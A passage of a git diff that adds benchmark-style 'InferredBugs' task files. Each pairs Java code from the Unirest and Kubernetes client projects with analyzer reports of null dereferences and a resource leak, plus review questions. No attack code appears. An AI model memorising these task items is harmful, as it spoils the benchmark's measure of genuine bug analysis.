+            });
+		}
+
+		newFixedThreadPool.shutdown();
+		newFixedThreadPool.awaitTermination(10, TimeUnit.MINUTES);
+	}
+
+	@Test
+	public void testAsyncCustomContentType() throws InterruptedException {
+		Unirest.post("http://httpbin.org/post").header("accept", "application/json").header("Content-Type", "application/json").body("{\"hello\":\"world\"}").asJsonAsync(new Callback<JsonNode>() {
+
+			public void failed(UnirestException e) {
+				fail();
+			}
+
+			public void completed(HttpResponse<JsonNode> jsonResponse) {
+				JsonNode json = jsonResponse.getBody();
+				assertEquals("{\"hello\":\"world\"}", json.getObject().getString("data"));
+				assertEquals("application/json", json.getObject().getJSONObject("headers").getString("Content-Type"));
+
+				status = true;
+				lock.countDown();
+			}
+
+			public void cancelled() {
+				fail();
+			}
+		});
+
+		lock.await(10, TimeUnit.SECONDS);
+		assertTrue(status);
+	}
+
+	@Test
+	public void testAsyncCustomContentTypeAndFormParams() throws InterruptedException {
+		Unirest.post("http://httpbin.org/post").header("accept", "application/json").header("Content-Type", "application/x-www-form-urlencoded").field("name", "Mark").field("hello", "world").asJsonAsync(new Callback<JsonNode>() {
+
+			public void failed(UnirestException e) {
+				fail();
+			}
+
+			public void completed(HttpResponse<JsonNode> jsonResponse) {
+				JsonNode json = jsonResponse.getBody();
+				assertEquals("Mark", json.getObject().getJSONObject("form").getString("name"));
+				assertEquals("world", json.getObject().getJSONObject("form").getString("hello"));
+
+				assertEquals("application/x-www-form-urlencoded", json.getObject().getJSONObject("headers").getString("Content-Type"));
+
+				status = true;
+				lock.countDown();
+			}
+
+			public void cancelled() {
+				fail();
+			}
+		});
+
+		lock.await(10, TimeUnit.SECONDS);
+		assertTrue(status);
+	}
+
+	@Test
+	public void testGetQuerystringArray() throws JSONException, UnirestException {
+		HttpResponse<JsonNode> response = Unirest.get("http://httpbin.org/get").queryString("name", "Mark").queryString("name", "Tom").asJson();
+
+		JSONArray names = response.getBody().getObject().getJSONObject("args").getJSONArray("name");
+		assertEquals(2, names.length());
+
+		assertEquals("Mark", names.getString(0));
+		assertEquals("Tom", names.getString(1));
+	}
+
+	@Test
+	public void testPostMultipleFiles() throws JSONException, URISyntaxException {
+		HttpResponse<JsonNode> response = Unirest.post("http://httpbin.org/post").field("param3", "wot").field("file1", new File(getClass().getResource("/test").toURI())).field("file2", new File(getClass().getResource("/test").toURI())).asJson();
+
+		JSONObject names = response.getBody().getObject().getJSONObject("files");
+		assertEquals(2, names.length());
+
+		assertEquals("This is a test file", names.getString("file1"));
+		assertEquals("This is a test file", names.getString("file2"));
+
+		assertEquals("wot", response.getBody().getObject().getJSONObject("form").getString("param3"));
+	}
+
+	@Test
+	public void testGetArray() throws JSONException, UnirestException {
+		HttpResponse<JsonNode> response = Unirest.get("http://httpbin.org/get").queryString("name", Arrays.asList("Mark", "Tom")).asJson();
+
+		JSONArray names = response.getBody().getObject().getJSONObject("args").getJSONArray("name");
+		assertEquals(2, names.length());
+
+		assertEquals("Mark", names.getString(0));
+		assertEquals("Tom", names.getString(1));
+	}
+
+	@Test
+	public void testPostArray() throws JSONException, UnirestException {
+		HttpResponse<JsonNode> response = Unirest.post("http://httpbin.org/post").field("name", "Mark").field("name", "Tom").asJson();
+
+		JSONArray names = response.getBody().getObject().getJSONObject("form").getJSONArray("name");
+		assertEquals(2, names.length());
+
+		assertEquals("Mark", names.getString(0));
+		assertEquals("Tom", names.getString(1));
+	}
+
+	@Test
+	public void testPostCollection() throws JSONException, UnirestException {
+		HttpResponse<JsonNode> response = Unirest.post("http://httpbin.org/post").field("name", Arrays.asList("Mark", "Tom")).asJson();
+
+		JSONArray names = response.getBody().getObject().getJSONObject("form").getJSONArray("name");
+		assertEquals(2, names.length());
+
+		assertEquals("Mark", names.getString(0));
+		assertEquals("Tom", names.getString(1));
+	}
+
+	@Test
+	public void testCaseInsensitiveHeaders() {
+		GetRequest request = Unirest.get("http://httpbin.org/headers").header("Name", "Marco");
+		assertEquals(1, request.getHeaders().size());
+		assertEquals("Marco", request.getHeaders().get("name").get(0));
+		assertEquals("Marco", request.getHeaders().get("NAme").get(0));
+		assertEquals("Marco", request.getHeaders().get("Name").get(0));
+		JSONObject headers = request.asJson().getBody().getObject().getJSONObject("headers");
+		assertEquals("Marco", headers.getString("Name"));
+
+		request = Unirest.get("http://httpbin.org/headers").header("Name", "Marco").header("Name", "John");
+		assertEquals(1, request.getHeaders().size());
+		assertEquals("Marco", request.getHeaders().get("name").get(0));
+		assertEquals("John", request.getHeaders().get("name").get(1));
+		assertEquals("Marco", request.getHeaders().get("NAme").get(0));
+		assertEquals("John", request.getHeaders().get("NAme").get(1));
+		assertEquals("Marco", request.getHeaders().get("Name").get(0));
+		assertEquals("John", request.getHeaders().get("Name").get(1));
+	}
+
+	@Test
+	public void setTimeoutsAndCustomClient() {
+		try {
+			Unirest.setTimeouts(1000, 2000);
+		} catch (Exception e) {
+			fail();
+		}
+
+		try {
+			Unirest.setAsyncHttpClient(HttpAsyncClientBuilder.create().build());
+		} catch (Exception e) {
+			fail();
+		}
+
+		try {
+			Unirest.setAsyncHttpClient(HttpAsyncClientBuilder.create().build());
+			Unirest.setTimeouts(1000, 2000);
+			fail();
+		} catch (Exception e) {
+			// Ok
+		}
+
+		try {
+			Unirest.setHttpClient(HttpClientBuilder.create().build());
+			Unirest.setTimeouts(1000, 2000);
+			fail();
+		} catch (Exception e) {
+			// Ok
+		}
+	}
+
+	@Test
+	public void testObjectMapperRead() {
+		Unirest.setObjectMapper(new JacksonObjectMapper());
+
+		GetResponse getResponseMock = new GetResponse();
+		getResponseMock.setUrl("http://httpbin.org/get");
+
+		HttpResponse<GetResponse> getResponse = Unirest.get(getResponseMock.getUrl()).asObject(GetResponse.class);
+
+		assertEquals(200, getResponse.getStatus());
+		assertEquals(getResponse.getBody().getUrl(), getResponseMock.getUrl());
+	}
+
+	@Test
+	public void testObjectMapperWrite() {
+		Unirest.setObjectMapper(new JacksonObjectMapper());
+
+		GetResponse postResponseMock = new GetResponse();
+		postResponseMock.setUrl("http://httpbin.org/post");
+
+		HttpResponse<JsonNode> postResponse = Unirest.post(postResponseMock.getUrl()).header("accept", "application/json").header("Content-Type", "application/json").body(postResponseMock).asJson();
+
+		assertEquals(200, postResponse.getStatus());
+		assertEquals(postResponse.getBody().getObject().getString("data"), "{\"url\":\"http://httpbin.org/post\"}");
+	}
+
+	@Test
+	public void testPostProvidesSortedParams() throws IOException {
+		// Verify that fields are encoded into the body in sorted order.
+		HttpRequest httpRequest = Unirest.post("test").field("z", "Z").field("y", "Y").field("x", "X").getHttpRequest();
+
+		InputStream content = httpRequest.getBody().getEntity().getContent();
+		String body = IOUtils.toString(content, "UTF-8");
+		assertEquals("x=X&y=Y&z=Z", body);
+	}
+
+	@Test
+	public void testHeaderNamesCaseSensitive() {
+		// Verify that header names are the same as server (case sensitive)
+		final Headers headers = new Headers();
+		headers.put("Content-Type", Arrays.asList("application/json"));
+
+		assertEquals("Only header \"Content-Type\" should exist", null, headers.getFirst("cOnTeNt-TyPe"));
+		assertEquals("Only header \"Content-Type\" should exist", null, headers.getFirst("content-type"));
+		assertEquals("Only header \"Content-Type\" should exist", "application/json", headers.getFirst("Content-Type"));
+	}
+
+
+	private String findAvailableIpAddress() throws IOException {
+		for (int i = 100; i <= 255; i++) {
+			String ip = "192.168.1." + i;
+			if (!InetAddress.getByName(ip).isReachable(1000)) {
+				return ip;
+			}
+		}
+
+		throw new RuntimeException("Couldn't find an available IP address in the range of 192.168.0.100-255");
+	}
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `response.getBody()` could be null and is dereferenced at line 172.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void UnirestTest.testCustomUserAgent()
+
+### Procedure Id:
+io.github.openunirest.http.UnirestTest.testCustomUserAgent():void.0f7d07fb96afc740f67e7daad0f46533
+
+### File:
+src/test/java/io/github/openunirest/http/UnirestTest.java
+
+### Key:
+UnirestTest.java|testCustomUserAgent|NULL_DEREFERENCE
+
+### Node Key:
+dc678d91476904c7b1b2af11d980af71
+
+### Hash:
+72a6136f7ff67b8d0daf3a300586089b
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-6661/instruction.md b/inferredbugs-6661/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..51efeccbf4741cebb42d3cf0519308c0f4422207
--- /dev/null
+++ b/inferredbugs-6661/instruction.md
@@ -0,0 +1,136 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** unirest-java
+**Bug ID:** 2
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+The MIT License
+
+Copyright (c) 2013 Mashape (http://mashape.com)
+
+Permission is hereby granted, free of charge, to any person obtaining
+a copy of this software and associated documentation files (the
+"Software"), to deal in the Software without restriction, including
+without limitation the rights to use, copy, modify, merge, publish,
+distribute, sublicense, and/or sell copies of the Software, and to
+permit persons to whom the Software is furnished to do so, subject to
+the following conditions:
+
+The above copyright notice and this permission notice shall be
+included in all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+*/
+
+package com.mashape.unirest.test.http;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import org.junit.Test;
+
+import com.mashape.unirest.http.HttpResponse;
+import com.mashape.unirest.http.JsonNode;
+import com.mashape.unirest.http.Unirest;
+
+public class UnirestTest {
+
+	@Test
+	public void testRequests() throws Exception {
+		HttpResponse<JsonNode> jsonResponse = Unirest.post("http://httpbin.org/post")
+													 .header("accept", "application/json")
+													 .field("param1", "value1")
+													 .field("param2","bye")
+													 .asJson();
+		
+		assertTrue(jsonResponse.getHeaders().size() > 0);
+		assertTrue(jsonResponse.getBody().toString().length() > 0);
+		assertFalse(jsonResponse.getRawBody() == null);
+		assertEquals(200, jsonResponse.getCode());
+		
+		JsonNode json = jsonResponse.getBody();
+		assertFalse(json.isArray());
+		assertNotNull(json.getObject());
+		assertNotNull(json.getArray());
+		assertEquals(1, json.getArray().length());
+		assertNotNull(json.getArray().get(0));
+	}
+	
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `jsonResponse.getBody().toString()` could be null and is dereferenced at line 50.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void UnirestTest.testRequests()
+
+### Procedure Id:
+com.mashape.unirest.test.http.UnirestTest.testRequests():void.1d7ba79a911f0042671a96828feb0d01
+
+### File:
+src/test/java/com/mashape/unirest/test/http/UnirestTest.java
+
+### Key:
+UnirestTest.java|testRequests|NULL_DEREFERENCE
+
+### Node Key:
+81212f82040a551aee038b8efb433836
+
+### Hash:
+0b954727481090c2397c5553ea5bd218
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-6667/instruction.md b/inferredbugs-6667/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..f1e0e98f7096bd749f6025df9612f861894c4968
--- /dev/null
+++ b/inferredbugs-6667/instruction.md
@@ -0,0 +1,424 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** java
+**Bug ID:** 9
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+Copyright 2017 The Kubernetes Authors.
+Licensed under the Apache License, Version 2.0 (the "License");
+you may not use this file except in compliance with the License.
+You may obtain a copy of the License at
+    http://www.apache.org/licenses/LICENSE-2.0
+Unless required by applicable law or agreed to in writing, software
+distributed under the License is distributed on an "AS IS" BASIS,
+WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+See the License for the specific language governing permissions and
+limitations under the License.
+ */
+package io.kubernetes.client.util;
+
+import static io.kubernetes.client.util.Config.ENV_KUBECONFIG;
+import static io.kubernetes.client.util.Config.ENV_SERVICE_HOST;
+import static io.kubernetes.client.util.Config.ENV_SERVICE_PORT;
+import static io.kubernetes.client.util.Config.SERVICEACCOUNT_CA_PATH;
+import static io.kubernetes.client.util.Config.SERVICEACCOUNT_TOKEN_PATH;
+import static io.kubernetes.client.util.KubeConfig.ENV_HOME;
+import static io.kubernetes.client.util.KubeConfig.KUBECONFIG;
+import static io.kubernetes.client.util.KubeConfig.KUBEDIR;
+
+import com.google.common.base.Strings;
+import com.squareup.okhttp.*;
+import io.kubernetes.client.ApiClient;
+import io.kubernetes.client.util.credentials.AccessTokenAuthentication;
+import io.kubernetes.client.util.credentials.Authentication;
+import io.kubernetes.client.util.credentials.KubeconfigAuthentication;
+import java.io.BufferedReader;
+import java.io.ByteArrayInputStream;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.io.InputStreamReader;
+import java.nio.charset.Charset;
+import java.nio.charset.StandardCharsets;
+import java.nio.file.Files;
+import java.nio.file.Paths;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+/** A Builder which allows the construction of {@link ApiClient}s in a fluent fashion. */
+public class ClientBuilder {
+  private static final Logger log = LoggerFactory.getLogger(ClientBuilder.class);
+
+  private String basePath = Config.DEFAULT_FALLBACK_HOST;
+  private byte[] caCertBytes = null;
+  private boolean verifyingSsl = true;
+  private String overridePatchFormat;
+  private Authentication authentication;
+
+  /**
+   * Creates an {@link ApiClient} by calling {@link #standard()} and {@link #build()}.
+   *
+   * @return An <tt>ApiClient</tt> configured using the precedence specified for {@link
+   *     #standard()}.
+   * @throws IOException if the configuration file or a file specified in a configuration file
+   *     cannot be read.
+   */
+  public static ApiClient defaultClient() throws IOException {
+    return ClientBuilder.standard().build();
+  }
+
+  /**
+   * Creates a builder which is pre-configured in the following way
+   *
+   * <ul>
+   *   <li>If $KUBECONFIG is defined, use that config file.
+   *   <li>If $HOME/.kube/config can be found, use that.
+   *   <li>If the in-cluster service account can be found, assume in cluster config.
+   *   <li>Default to localhost:8080 as a last resort.
+   * </ul>
+   *
+   * @return <tt>ClientBuilder</tt> pre-configured using the above precedence
+   * @throws IOException if the configuration file or a file specified in a configuration file
+   *     cannot be read.
+   */
+  public static ClientBuilder standard() throws IOException {
+    return standard(true);
+  }
+
+  public static ClientBuilder standard(boolean persistConfig) throws IOException {
+    final File kubeConfig = findConfigFromEnv();
+    if (kubeConfig != null) {
+      try (BufferedReader kubeConfigReader =
+          new BufferedReader(
+              new InputStreamReader(
+                  new FileInputStream(kubeConfig), StandardCharsets.UTF_8.name()))) {
+        KubeConfig kc = KubeConfig.loadKubeConfig(kubeConfigReader);
+        if (persistConfig) {
+          kc.setPersistConfig(new FilePersister(kubeConfig));
+        }
+        kc.setFile(kubeConfig);
+        return kubeconfig(kc);
+      }
+    }
+    final File config = findConfigInHomeDir();
+    if (config != null) {
+      try (BufferedReader configReader =
+          new BufferedReader(
+              new InputStreamReader(new FileInputStream(config), StandardCharsets.UTF_8.name()))) {
+        KubeConfig kc = KubeConfig.loadKubeConfig(configReader);
+        if (persistConfig) {
+          kc.setPersistConfig(new FilePersister(config));
+        }
+        kc.setFile(config);
+        return kubeconfig(kc);
+      }
+    }
+    final File clusterCa = new File(SERVICEACCOUNT_CA_PATH);
+    if (clusterCa.exists()) {
+      return cluster();
+    }
+    return new ClientBuilder();
+  }
+
+  private static File findConfigFromEnv() {
+    final KubeConfigEnvParser kubeConfigEnvParser = new KubeConfigEnvParser();
+
+    final String kubeConfigPath =
+        kubeConfigEnvParser.parseKubeConfigPath(System.getenv(ENV_KUBECONFIG));
+    if (kubeConfigPath == null) {
+      return null;
+    }
+
+    final File kubeConfig = new File(kubeConfigPath);
+    if (kubeConfig.exists()) {
+      return kubeConfig;
+    } else {
+      log.debug("Could not find file specified in $KUBECONFIG");
+      return null;
+    }
+  }
+
+  private static class KubeConfigEnvParser {
+    private String parseKubeConfigPath(String kubeConfigEnv) {
+      if (kubeConfigEnv == null) {
+        return null;
+      }
+
+      final String[] filePaths = kubeConfigEnv.split(File.pathSeparator);
+      final String kubeConfigPath = filePaths[0];
+      if (filePaths.length > 1) {
+        log.warn(
+            "Found multiple kubeconfigs files, $KUBECONFIG: " + kubeConfigEnv + " using first: {}",
+            kubeConfigPath);
+      }
+
+      return kubeConfigPath;
+    }
+  }
+
+  private static File findHomeDir() {
+    final String envHome = System.getenv(ENV_HOME);
+    if (envHome != null && envHome.length() > 0) {
+      final File config = new File(envHome);
+      if (config.exists()) {
+        return config;
+      }
+    }
+    if (System.getProperty("os.name").toLowerCase().startsWith("windows")) {
+      String homeDrive = System.getenv("HOMEDRIVE");
+      String homePath = System.getenv("HOMEPATH");
+      if (homeDrive != null
+          && homeDrive.length() > 0
+          && homePath != null
+          && homePath.length() > 0) {
+        File homeDir = new File(new File(homeDrive), homePath);
+        if (homeDir.exists()) {
+          return homeDir;
+        }
+      }
+      String userProfile = System.getenv("USERPROFILE");
+      if (userProfile != null && userProfile.length() > 0) {
+        File profileDir = new File(userProfile);
+        if (profileDir.exists()) {
+          return profileDir;
+        }
+      }
+    }
+    return null;
+  }
+
+  private static File findConfigInHomeDir() {
+    final File homeDir = findHomeDir();
+    if (homeDir != null) {
+      final File config = new File(new File(homeDir, KUBEDIR), KUBECONFIG);
+      if (config.exists()) {
+        return config;
+      }
+    }
+    log.debug("Could not find ~/.kube/config");
+    return null;
+  }
+
+  /**
+   * Creates a builder which is pre-configured from the cluster configuration.
+   *
+   * @return <tt>ClientBuilder</tt> configured from the cluster configuration.
+   * @throws IOException if the Service Account Token Path or CA Path is not readable.
+   */
+  public static ClientBuilder cluster() throws IOException {
+    final ClientBuilder builder = new ClientBuilder();
+
+    final String host = System.getenv(ENV_SERVICE_HOST);
+    final String port = System.getenv(ENV_SERVICE_PORT);
+    builder.setBasePath("https://" + host + ":" + port);
+
+    final String token =
+        new String(
+            Files.readAllBytes(Paths.get(SERVICEACCOUNT_TOKEN_PATH)), Charset.defaultCharset());
+    builder.setCertificateAuthority(Files.readAllBytes(Paths.get(SERVICEACCOUNT_CA_PATH)));
+    builder.setAuthentication(new AccessTokenAuthentication(token));
+
+    return builder;
+  }
+
+  /**
+   * Creates a builder which is pre-configured from a {@link KubeConfig}.
+   *
+   * <p>To load a <tt>KubeConfig</tt>, see {@link KubeConfig#loadKubeConfig(Reader)}.
+   *
+   * @param config The {@link KubeConfig} to configure the builder from.
+   * @return <tt>ClientBuilder</tt> configured from the provided <tt>KubeConfig</tt>
+   * @throws IOException if the files specified in the provided <tt>KubeConfig</tt> are not readable
+   */
+  public static ClientBuilder kubeconfig(KubeConfig config) throws IOException {
+    final ClientBuilder builder = new ClientBuilder();
+
+    String server = config.getServer();
+    if (!server.contains("://")) {
+      if (server.contains(":443")) {
+        server = "https://" + server;
+      } else {
+        server = "http://" + server;
+      }
+    }
+
+    final byte[] caBytes =
+        KubeConfig.getDataOrFile(
+            config.getCertificateAuthorityData(), config.getCertificateAuthorityFile());
+    if (caBytes != null) {
+      builder.setCertificateAuthority(caBytes);
+    }
+    builder.setVerifyingSsl(config.verifySSL());
+
+    builder.setBasePath(server);
+    builder.setAuthentication(new KubeconfigAuthentication(config));
+    return builder;
+  }
+
+  public String getBasePath() {
+    return basePath;
+  }
+
+  public ClientBuilder setBasePath(String basePath) {
+    this.basePath = basePath;
+    return this;
+  }
+
+  public Authentication getAuthentication() {
+    return authentication;
+  }
+
+  public ClientBuilder setAuthentication(final Authentication authentication) {
+    this.authentication = authentication;
+    return this;
+  }
+
+  public ClientBuilder setCertificateAuthority(final byte[] caCertBytes) {
+    this.caCertBytes = caCertBytes;
+    return this;
+  }
+
+  public boolean isVerifyingSsl() {
+    return verifyingSsl;
+  }
+
+  public ClientBuilder setVerifyingSsl(boolean verifyingSsl) {
+    this.verifyingSsl = verifyingSsl;
+    return this;
+  }
+
+  public String overridePatchFormat() {
+    return overridePatchFormat;
+  }
+
+  public ClientBuilder setOverridePatchFormat(String patchFormat) {
+    this.overridePatchFormat = patchFormat;
+    return this;
+  }
+
+  public ApiClient build() {
+    final ApiClient client = new ApiClient();
+
+    if (basePath != null) {
+      if (basePath.endsWith("/")) {
+        basePath = basePath.substring(0, basePath.length() - 1);
+      }
+      client.setBasePath(basePath);
+    }
+
+    client.setVerifyingSsl(verifyingSsl);
+
+    if (authentication != null) {
+      authentication.provide(client);
+    }
+
+    // NOTE: this ordering is important.  The API Client re-evaluates the CA certificate every
+    // time the SSL info changes, which means that if this comes after the following call
+    // you will try to load a certificate with an exhausted InputStream. So setting the CA
+    // certificate _has_ to be the last thing that you do related to SSL.
+    //
+    // TODO: this (imho) is broken in the generate Java Swagger Client code. We should fix it
+    // upstream and remove this dependency.
+    //
+    // TODO: Add a test to ensure that this works correctly...
+    if (caCertBytes != null) {
+      client.setSslCaCert(new ByteArrayInputStream(caCertBytes));
+    }
+
+    if (!Strings.isNullOrEmpty(overridePatchFormat)) {
+      client
+          .getHttpClient()
+          .interceptors()
+          .add(
+              new Interceptor() {
+                @Override
+                public Response intercept(Chain chain) throws IOException {
+                  Request request = chain.request();
+
+                  if ("PATCH".equals(request.method())) {
+
+                    Request newRequest =
+                        request
+                            .newBuilder()
+                            .patch(
+                                new ProxyContentTypeRequestBody(
+                                    request.body(), overridePatchFormat))
+                            .build();
+                    return chain.proceed(newRequest);
+                  }
+                  return chain.proceed(request);
+                }
+              });
+    }
+    return client;
+  }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.FileInputStream` acquired by call to `FileInputStream(...)` at line 100 is not released after line 102.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+ClientBuilder ClientBuilder.standard(boolean)
+
+### Procedure Id:
+io.kubernetes.client.util.ClientBuilder.standard(boolean):io.kubernetes.client.util.ClientBuilder.b3673515cb8006dbbe1ebaa4be57a6c8
+
+### File:
+util/src/main/java/io/kubernetes/client/util/ClientBuilder.java
+
+### Key:
+ClientBuilder.java|standard|RESOURCE_LEAK
+
+### Node Key:
+1f1b2173a97ffabeb5165088501bfc2f
+
+### Hash:
+7d7b6c90e5b7cdfb70226fdad3d2b7df
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-6668/instruction.md b/inferredbugs-6668/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..4acbd0b46f6b0062e94dd5d79ed258af0def7162
--- /dev/null
+++ b/inferredbugs-6668/instruction.md
@@ -0,0 +1,456 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** java
+**Bug ID:** 11
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+Copyright 2017, 2018 The Kubernetes Authors.
+Licensed under the Apache License, Version 2.0 (the "License");
+you may not use this file except in compliance with the License.
+You may obtain a copy of the License at
+    http://www.apache.org/licenses/LICENSE-2.0
+Unless required by applicable law or agreed to in writing, software
+distributed under the License is distributed on an "AS IS" BASIS,
+WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+See the License for the specific language governing permissions and
+limitations under the License.
+*/
+package io.kubernetes.client;
+
+import static io.kubernetes.client.KubernetesConstants.*;
+
+import com.google.common.io.CharStreams;
+import com.google.gson.reflect.TypeToken;
+import io.kubernetes.client.openapi.ApiClient;
+import io.kubernetes.client.openapi.ApiException;
+import io.kubernetes.client.openapi.Configuration;
+import io.kubernetes.client.openapi.apis.CoreV1Api;
+import io.kubernetes.client.openapi.models.V1Pod;
+import io.kubernetes.client.openapi.models.V1Status;
+import io.kubernetes.client.openapi.models.V1StatusCause;
+import io.kubernetes.client.openapi.models.V1StatusDetails;
+import io.kubernetes.client.util.WebSocketStreamHandler;
+import io.kubernetes.client.util.WebSockets;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.io.OutputStream;
+import java.io.Reader;
+import java.io.UnsupportedEncodingException;
+import java.lang.reflect.Type;
+import java.net.URLEncoder;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.concurrent.TimeUnit;
+import org.apache.commons.lang3.StringUtils;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+public class Exec {
+  private static final Logger log = LoggerFactory.getLogger(Exec.class);
+
+  private ApiClient apiClient;
+
+  /** Simple Exec API constructor, uses default configuration */
+  public Exec() {
+    this(Configuration.getDefaultApiClient());
+  }
+
+  /**
+   * Exec API Constructor
+   *
+   * @param apiClient The api client to use.
+   */
+  public Exec(ApiClient apiClient) {
+    this.apiClient = apiClient;
+  }
+
+  /**
+   * Get the API client for these exec operations.
+   *
+   * @return The API client that will be used.
+   */
+  public ApiClient getApiClient() {
+    return apiClient;
+  }
+
+  /**
+   * Set the API client for subsequent exec operations.
+   *
+   * @param apiClient The new API client to use.
+   */
+  public void setApiClient(ApiClient apiClient) {
+    this.apiClient = apiClient;
+  }
+
+  private String makePath(
+      String namespace,
+      String name,
+      String[] command,
+      String container,
+      boolean stdin,
+      boolean tty) {
+    for (int i = 0; i < command.length; i++) {
+      try {
+        command[i] = URLEncoder.encode(command[i], "UTF-8");
+      } catch (UnsupportedEncodingException ex) {
+        throw new RuntimeException("some thing wrong happend: " + ex.getMessage());
+      }
+    }
+    String path =
+        "/api/v1/namespaces/"
+            + namespace
+            + "/pods/"
+            + name
+            + "/exec?"
+            + "stdin="
+            + stdin
+            + "&stdout=true"
+            + "&stderr=true"
+            + "&tty="
+            + tty
+            + (container != null ? "&container=" + container : "")
+            + "&command="
+            + StringUtils.join(command, "&command=");
+    return path;
+  }
+
+  /**
+   * Execute a command in a container. If there are multiple containers in the pod, uses the first
+   * container in the Pod.
+   *
+   * @param namespace The namespace of the Pod
+   * @param name The name of the Pod
+   * @param command The command to run
+   * @param stdin If true, pass a stdin stream into the container
+   */
+  public Process exec(String namespace, String name, String[] command, boolean stdin)
+      throws ApiException, IOException {
+    return exec(namespace, name, command, null, stdin, false);
+  }
+
+  /**
+   * Execute a command in a container. If there are multiple containers in the pod, uses the first
+   * container in the Pod.
+   *
+   * @param pod The pod where the command is run.
+   * @param command The command to run
+   * @param stdin If true, pass a stdin stream into the container
+   */
+  public Process exec(V1Pod pod, String[] command, boolean stdin) throws ApiException, IOException {
+    return exec(pod, command, pod.getSpec().getContainers().get(0).getName(), stdin, false);
+  }
+
+  /**
+   * Execute a command in a container. If there are multiple containers in the pod, uses the first
+   * container in the Pod.
+   *
+   * @param namespace The namespace of the Pod
+   * @param name The name of the Pod
+   * @param command The command to run
+   * @param stdin If true, pass a stdin stream into the container
+   * @param tty If true, stdin is a tty.
+   */
+  public Process exec(String namespace, String name, String[] command, boolean stdin, boolean tty)
+      throws ApiException, IOException {
+    return exec(namespace, name, command, null, stdin, tty);
+  }
+
+  /**
+   * Execute a command in a container. If there are multiple containers in the pod, uses the first
+   * container in the Pod.
+   *
+   * @param pod The pod where the command is run.
+   * @param command The command to run
+   * @param stdin If true, pass a stdin stream into the container
+   * @param tty If true, stdin is a tty.
+   */
+  public Process exec(V1Pod pod, String[] command, boolean stdin, boolean tty)
+      throws ApiException, IOException {
